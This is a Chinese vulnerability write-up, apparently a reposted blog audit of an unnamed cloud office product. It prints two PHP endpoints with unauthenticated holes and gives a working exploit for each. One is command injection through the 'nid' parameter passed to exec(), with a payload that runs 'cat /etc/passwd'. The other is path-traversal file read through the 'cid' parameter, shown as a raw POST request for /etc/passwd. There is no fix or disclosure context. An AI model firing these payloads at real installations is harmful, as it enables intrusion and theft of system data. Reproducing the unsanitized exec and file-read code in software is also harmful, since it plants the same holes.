某云办公室审计

admin 2024年2月29日17:13:59评论15 views字数 1512阅读5分2秒阅读模式

某云办公室审计

0x01 前台任意命令执行

/file/NDisk/get_file.php

<?php// 放置在 mfs 服务器上用于获取文件列表,配合 nd_verify_large_file.php 使用if(empty($_GET['cid']) || empty($_GET['nid']))  exit;$cid = $_GET['cid'];$nid = $_GET['nid'];$mainDir = '/home/www/html/corpmgr/file/upload/NDiskData/normal/' . $cid . '/';exec("ls {$mainDir}*_{$nid}_*", $r);$ret = array();foreach($r as $v)  $ret[md5_file($v)] = str_replace("/home/www/html/corpmgr/file/upload/NDiskData/normal/{$cid}/", '', $v);echo json_encode($ret);

同时传入了cid和nid,直接给nid赋值 之后传入exec造成命令执行.

Payload:/file/NDisk/get_file.php?cid=1&nid=|cat%20/etc/passwd>1.txt|

某云办公室审计

0x02 前台任意文件读取

/file/NDisk/read.php

<?php//error_log ( 'start downing'. "rn", 3, '/tmp/read.log' );require_once ("constants.php");$result = '';//error_log ( json_encode ( $_POST ) . "rn", 3, '/tmp/read.log' );if (! empty ( $_POST ['cid'] ) && ! empty ( $_POST ['filename'] ) && $_POST ['globaloffset'] != '') {  //判断文件是否存在  $file = ND_DATA_NORMAL . $_POST ['cid'] . '/' . $_POST ['filename'];  //error_log ( 'file=' . $file . "rn", 3, '/tmp/read.log' );  if (file_exists ( $file )) {    //读取文件    $buffer = file_get_contents ( $file, FALSE, null, $_POST ['globaloffset'], ND_READ_LENGTH );    //error_log ( 'buffer=' . strlen($buffer) . "rn", 3, '/tmp/read.log' );    $result = $buffer;  }}echo $result;

追踪 ND_DATA_NORMAL 变量

<?phpdefine ( 'ND_DATA_TEMP', '/home/www/html/corpmgr/file/upload/NDiskData/temp/' );define ( 'ND_DATA_NORMAL', '/home/www/html/corpmgr/file/upload/NDiskData/normal/' );define ( 'ND_READ_LENGTH', '524288' );?>

传入cid,filename,globaloffset三个参数 并调用file_get_contents进行读取

POST /file/NDisk/read.php HTTP/1.1cid=../../../../../../../../etc&filename=passwd&globaloffset=0

某云办公室审计

原文始发于微信公众号(星悦安全):某云办公室审计

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月29日17:13:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某云办公室审计http://cn-sec.com/archives/2533769.html

发表评论

匿名网友 填写信息